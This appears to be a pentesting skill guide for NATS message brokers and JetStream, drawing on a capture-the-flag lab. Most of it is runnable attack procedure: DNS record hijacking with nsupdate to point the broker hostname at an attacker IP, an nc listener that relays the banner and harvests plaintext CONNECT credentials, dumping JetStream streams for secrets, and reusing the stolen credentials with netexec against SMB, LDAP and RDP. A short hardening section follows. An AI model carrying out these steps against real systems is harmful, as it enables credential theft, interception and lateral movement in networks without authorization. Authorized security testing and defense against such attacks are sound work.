NATS / JetStream Pentesting
A skill for security testing NATS message bus and JetStream persistence layers. NATS is a high-performance message broker that often runs with plaintext authentication, making it a valuable target for credential theft and lateral movement.
Quick Start
# Check if NATS is running and grab the banner
echo | nc TARGET 4222
# If auth is required, you'll see: -ERR 'Authorization Violation'
# The INFO banner reveals: version, auth_required, jetstream, max_payload
Enumeration
1. Service Discovery
Use nmap to identify NATS services and extract version info:
nmap -p4222 -sV --script banner TARGET
Expected output:
4222/tcp open nats NATS.io gnatsd 2.11.3
| banner: INFO {"server_id":"NDo...","version":"2.11.3","proto":1,"auth_required":true,"jetstream":true,"max_payload":1048576}
Key banner fields to note:
auth_required: true/false - whether credentials are neededjetstream: true/false - persistence layer enabledtls_required: true/false - encryption enforcedmax_payload: max message size in bytesversion: NATS server version (check for known CVEs)
2. Manual Banner Grabbing
echo | nc HOST 4222
This returns the INFO frame. If authentication is required, you'll immediately see -ERR 'Authorization Violation' after the banner.
3. NATS CLI Setup
Install the official CLI for deeper interaction (requires Go ≥1.21):
go install github.com/nats-io/natscli/nats@latest
Test connectivity:
nats -s nats://HOST:4222 rtt
If authentication is required, you'll get nats: Authorization Violation until you provide valid credentials.
Credential Capture
DNS Hijacking Attack
NATS clients connect to broker hostnames. If you can control DNS records, you can intercept credentials:
Prerequisites:
- Low-privileged domain user with DNS update permissions
- Stale or missing DNS record for the NATS broker hostname
Attack flow:
Identify the broker hostname (e.g.,
nats-svc.domain.local)Verify the record is stale or missing:
nslookup nats-svc.domain.local # Should return NXDOMAIN or point to wrong IPRegister the hostname to your attacker IP:
nsupdate > server DC_IP > update add nats-svc.domain.local 60 A ATTACKER_IP > sendCapture the legitimate banner once:
nc REAL_NATS 4222 | head -1 > banner.txtReplay the banner to connecting clients:
cat banner.txt | nc -lnvp 4222Or for a live relay:
nc REAL_NATS 4222 | head -1 | nc -lnvp 4222Harvest credentials: When clients connect, they send a plaintext
CONNECTframe:CONNECT {"user":"USERNAME","pass":"PASSWORD","verbose":false,"pedantic":false,"protocol":1,"client_id":"..."}
Advanced credential capture:
For longer engagements, run a local NATS server with TRACE logging:
git clone https://github.com/nats-io/nats-server
cd nats-server
go build
./nats-server -DV # -D for debug, -V for trace
TRACE logs show usernames; remove redaction or use Wireshark to capture full passwords.
JetStream Looting
Once you have credentials, explore JetStream for stored secrets:
1. Configure CLI Context
nats context add <name> -s nats://HOST:4222 --user USERNAME --password PASSWORD
Example:
nats context add mirage -s nats://dc01.mirage.htb --user Dev_Account_A --password 'hx5h7F5554fP@1337!'
2. Enumerate Streams
# Check account info
nats account info --context <name>
# List all streams
nats stream list --context <name>
# Get stream details
nats stream info <stream_name> --context <name>
# View stream contents
nats stream view <stream_name> --context <name>
3. Hunt for Secrets
Common stream names that may contain credentials:
auth_logslogs.authauthenticationcredentialssecretsapi_keys
Look for JSON payloads with plaintext credentials:
{"user":"david.jjackson","password":"pN8kQmn6b86!1234@","ip":"10.10.10.20"}
4. Credential Reuse
Extracted credentials can be tested against other services:
# SMB/Kerberos
netexec smb DC01 -u USER -p PASS -k
# LDAP
netexec ldap DC01 -u USER -p PASS -k
# RDP
netexec rdp DC01 -u USER -p PASS -k
Exploitation Patterns
Pattern 1: Banner Grab → DNS Hijack → Credential Theft
- Identify NATS broker hostname from network enumeration
- Check if DNS record is stale or missing
- Register hostname to attacker IP
- Relay banner and capture CONNECT frames
- Extract credentials from plaintext CONNECT messages
Pattern 2: Known Credentials → JetStream Looting
- Use existing credentials to connect to NATS
- List all JetStream streams
- Search for streams containing auth logs or secrets
- Extract plaintext credentials from message payloads
- Pivot to other services using harvested credentials
Pattern 3: Unauthenticated Access → Data Exfiltration
If auth_required: false in the banner:
# Subscribe to all subjects
nats sub "*" --context <name>
# Publish test messages
nats pub test.subject "Hello NATS"
# View all streams without auth
nats stream list
Hardening Recommendations
Server Configuration
Enforce TLS:
# In nats-server.conf tls { cert: /path/to/cert.pem key: /path/to/key.pem } # Or require TLS tls { cert: /path/to/cert.pem key: /path/to/key.pem verify: true }Use mTLS with nkeys:
# Generate nkey pair nats server nkey gen # Configure server to require nkey authenticationDisable credential logging:
- Scrub secrets before publishing to subjects
- Set JetStream retention limits
- Apply
deny_delete=falseonly to trusted operators
Network Security
Pinpoint DNS update permissions:
- Delegate service records to dedicated accounts
- Audit Event IDs 257/252 for high-value hostnames
- Enable scavenging alerts for missing broker names
Monitor for anomalies:
- Repeated short-lived connections
- Authentication timeouts
- INFO banners that don't match the blessed template
Network segmentation:
- Isolate NATS brokers from untrusted networks
- Use firewalls to restrict access to port 4222
- Implement network-level authentication
Common Vulnerabilities
| Vulnerability | Description | Impact |
|---|---|---|
| Plaintext AUTH | Credentials sent unencrypted | Credential theft |
| DNS Hijacking | Stale records allow impersonation | Man-in-the-middle |
| JetStream Logging | Secrets stored in streams | Data exfiltration |
| No TLS | All traffic visible on network | Full traffic capture |
| Weak Credentials | Simple passwords in CONNECT frames | Brute force success |
Tools Reference
| Tool | Purpose | Command |
|---|---|---|
| nmap | Service discovery | nmap -p4222 -sV --script banner TARGET |
| nc | Banner grabbing | `echo \ |
| nats CLI | Full interaction | nats -s nats://HOST:4222 <command> |
| nsupdate | DNS manipulation | nsupdate interactive mode |
| netexec | Credential testing | netexec smb DC01 -u USER -p PASS -k |
Example Workflow
# Step 1: Discover NATS service
nmap -p4222 -sV --script banner 10.10.10.50
# Step 2: Grab banner manually
echo | nc 10.10.10.50 4222
# INFO {"auth_required":true,"jetstream":true,...}
# Step 3: Check DNS for broker hostname
nslookup nats-svc.domain.local
# NXDOMAIN - opportunity for hijack!
# Step 4: Register DNS record
nsupdate
> server 10.10.10.5
> update add nats-svc.domain.local 60 A 10.10.14.5
> send
# Step 5: Capture credentials
cat banner.txt | nc -lnvp 4222
# Wait for client connection, capture CONNECT frame
# Step 6: Use credentials on JetStream
nats context add mirage -s nats://10.10.10.50:4222 --user captured_user --password 'captured_pass'
nats stream list --context mirage
nats stream view auth_logs --context mirage
# Step 7: Pivot with harvested credentials
netexec smb dc01.domain.local -u david.jjackson -p 'pN8kQmn6b86!1234@' -k